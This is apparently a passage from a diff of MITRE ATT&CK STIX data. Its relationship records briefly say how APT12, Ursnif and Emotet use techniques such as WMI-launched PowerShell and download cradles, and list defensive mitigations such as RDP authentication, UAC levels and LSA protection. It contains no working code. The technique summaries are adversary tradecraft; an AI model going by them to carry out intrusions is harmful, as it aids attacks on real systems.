"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[APT12](https://attack.mitre.org/groups/G0005) has used blogs and WordPress for C2 infrastructure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-10T16:34:59.315Z", + "id": "relationship--5a49400c-2003-463c-8e6e-97b79f560675", + "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", + "modified": "2019-06-10T19:28:00.985Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.", + "source_name": "Meyers Numbered Panda", + "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) droppers have used COM objects to execute the malware's full executable payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-10T17:44:49.334Z", + "id": "relationship--3c4d8c8f-9676-48c5-b902-e95a2411e266", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:21.031Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.", + "source_name": "Bromium Ursnif Mar 2017", + "url": "https://www.bromium.com/how-ursnif-evades-detection/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) droppers have used WMI classes to execute [PowerShell](https://attack.mitre.org/techniques/T1086) commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-10T17:44:49.348Z", + "id": "relationship--d9c20d20-cd4a-45cf-81a2-e9a8f6c9e78c", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:21.025Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.", + "source_name": "Bromium Ursnif Mar 2017", + "url": "https://www.bromium.com/how-ursnif-evades-detection/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) droppers have used PowerShell in download cradles to download and execute the malware's full executable payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-10T17:44:49.350Z", + "id": "relationship--8b368877-93b8-4ea9-84ef-84232412982f", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:21.028Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.", + "source_name": "Bromium Ursnif Mar 2017", + "url": "https://www.bromium.com/how-ursnif-evades-detection/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) droppers have used VBA macros and [PowerShell](https://attack.mitre.org/techniques/T1086) to download and execute the malware's full executable payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-10T17:44:49.367Z", + "id": "relationship--b5ebcf96-92f6-46d3-a9a1-1773e4f3ec02", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "modified": "2019-06-24T16:46:21.023Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.", + "source_name": "Bromium Ursnif Mar 2017", + "url": "https://www.bromium.com/how-ursnif-evades-detection/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has used WMI to execute powershell.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-10T18:55:43.635Z", + "id": "relationship--11f31998-c76f-4433-8e9c-c0ef0b7574d5", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "modified": "2019-06-28T15:25:30.142Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Carbon Black Emotet Apr 2019", + "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", + "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8", + "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T14:49:56.162Z", + "id": "relationship--ed7da11c-2d18-4137-9911-e18138603acf", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-06-13T14:49:56.162Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T15:56:45.879Z", + "id": "relationship--b82ceba5-d988-472d-acd4-b7b1bc49ebbc", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-10-14T20:45:04.671Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft Create Token", + "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object" + }, + { + "source_name": "Microsoft Replace Process Token", + "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T15:59:46.281Z", + "id": "relationship--7106aee3-498a-46b6-a851-8de1289c26d4", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-07-16T19:07:04.901Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TechNet RDP NLA", + "description": "Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc732713.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "description": "If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T15:59:46.332Z", + "id": "relationship--f2107311-d59b-4b7e-97d5-b3c0a77835b6", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "modified": "2019-07-16T19:07:04.911Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TechNet RDP Gateway", + "description": "Microsoft. (n.d.). Overview of Remote Desktop Gateway. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc731150.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:02:06.717Z", + "id": "relationship--620d641c-8f76-45f3-a86f-03dd28399d5c", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-10-08T21:05:16.844Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "UCF STIG Elevation Account Enumeration", + "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.", + "url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "description": "Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:04:04.082Z", + "id": "relationship--9ffc8525-79a5-40a2-b371-46052daf66c5", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-10-23T14:49:39.639Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "description": "Configure access controls and firewalls to limit access to critical systems and domain controllers. Most cloud environments support separate virtual private cloud (VPC) instances that enable further segmentation of cloud systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:04:04.168Z", + "id": "relationship--21ea4371-e692-4731-9f8c-c3f4dff3c775", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-10-23T14:49:39.665Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "description": "Use multi-factor authentication for user and privileged accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:04:04.180Z", + "id": "relationship--74e433ec-0c52-42f2-b0d4-3e1f3a56b419", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-10-23T14:49:39.669Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b", + "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing. This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:07:32.272Z", + "id": "relationship--b8004278-152f-44bf-a24c-8a236e6369db", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "modified": "2019-07-16T19:11:33.547Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "applescript signing", + "description": "Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.", + "url": "https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "description": "Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:10:48.292Z", + "id": "relationship--f767f3cf-3c2a-4bed-88e0-d088471edded", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-07-16T19:17:35.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "description": "Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:10:48.305Z", + "id": "relationship--db21d02a-539f-45fd-be5c-80d90ee276dc", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-16T19:17:35.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "description": "If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:10:48.347Z", + "id": "relationship--cf01aef4-c032-453e-a890-b7a01e744d9e", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "modified": "2019-07-16T19:17:35.058Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566", + "description": "Changing UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:13:06.846Z", + "id": "relationship--b79e03bb-a4c0-4724-bd4c-1286a3fd8d6a", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "modified": "2019-07-16T19:24:58.195Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:38:06.135Z", + "id": "relationship--a8377ce6-74bc-4115-8298-57da0f828e5a", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "modified": "2019-06-13T16:38:06.135Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:43:14.999Z", + "id": "relationship--4df90c69-8ac5-4f22-b0cf-dd4debb8e051", + "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea", + "modified": "2019-07-16T19:44:08.123Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. Strong passwords should be used on certain encrypted documents that use them to prevent offline cracking through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:43:15.017Z", + "id": "relationship--967c7069-6bb3-4f10-ba6b-5befdabe6c97", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "modified": "2019-07-16T19:44:08.132Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "description": "\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:47:55.972Z", + "id": "relationship--57d1a497-ef75-46de-b284-eefa90a99172", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-07-16T20:02:53.339Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft BITS", + "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "description": "Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:47:56.005Z", + "id": "relationship--4b4d8f9e-a416-4af6-9c20-582892601668", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-07-16T20:02:53.337Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to install a bootkit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:49:49.538Z", + "id": "relationship--99e9cb52-5893-41c2-bd96-def10ccecfe9", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-16T20:04:41.949Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "description": "Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:49:49.549Z", + "id": "relationship--cce47265-080f-4148-b9c9-cd99eb1e2b2f", + "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", + "modified": "2019-07-16T20:04:41.951Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TCG Trusted Platform Module", + "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.", + "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf" + }, + { + "source_name": "TechNet Secure Boot Process", + "description": "Microsoft. (n.d.). Secure the Windows 8.1 boot process. Retrieved June 11, 2016.", + "url": "https://technet.microsoft.com/en-us/windows/dn168167.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "description": "\nClose out all browser sessions when finished using them to prevent any potentially malicious extensions from continuing to run.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:53:10.321Z", + "id": "relationship--bef3018a-1a38-4d1f-83ae-094f6c18f2a4", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-07-16T20:22:19.965Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "description": "Only install browser extensions from trusted sources that can be verified. Browser extensions for some browsers can be controlled through Group Policy. Change settings to prevent the browser from installing extensions without sufficient permissions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:53:10.338Z", + "id": "relationship--08dea09a-e7f5-4e6d-a142-73548f6f1498", + "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", + "modified": "2019-07-16T20:22:19.980Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "description": "Set a browser extension white or black list as appropriate for your security policy.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:53:10.350Z", + "id": "relationship--e13f1e41-fc5c-4cd3-ad6b-62bc597c959a", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-16T20:22:19.990Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Technospot Chrome Extensions GP", + "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.", + "url": "http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "description": " Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:53:10.363Z", + "id": "relationship--0e686457-461d-496b-b838-dc8ca57a9f32", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-07-16T20:22:19.992Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "Refer to NIST guidelines when creating password policies.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:59:18.369Z", + "id": "relationship--d1f67e5c-72c6-4e26-91d4-bc8593e61774", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-10-09T20:58:14.106Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NIST 800-63-3", + "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.", + "url": "https://pages.nist.gov/800-63-3/sp800-63b.html" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:59:18.386Z", + "id": "relationship--cb87a0ce-0976-49e5-8e9c-2c908a24b30f", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-10-09T20:58:14.109Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T16:59:18.442Z", + "id": "relationship--c1a6c86e-5d5d-4cf1-845e-1660d9c19baf", + "source_ref": "course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c", + "modified": "2019-10-09T20:58:14.121Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "Remove users from the local administrator group on systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T18:50:51.732Z", + "id": "relationship--629ac426-ec81-4183-80c0-b7fead5e3b19", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-16T20:28:55.440Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T18:50:51.747Z", + "id": "relationship--f5ba1404-3e7e-4692-8a39-9e62e5d9542c", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "modified": "2019-07-16T20:28:55.439Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830", + "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T18:53:41.290Z", + "id": "relationship--e9cb90ec-499b-4dd9-ab5d-cc4d3995ed67", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "modified": "2019-07-16T20:37:57.561Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830", + "description": "Making the associated environment variables read only can make sure that the history is preserved.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T18:53:41.301Z", + "id": "relationship--42c25ff0-78e6-45fd-b131-a8c4564aa009", + 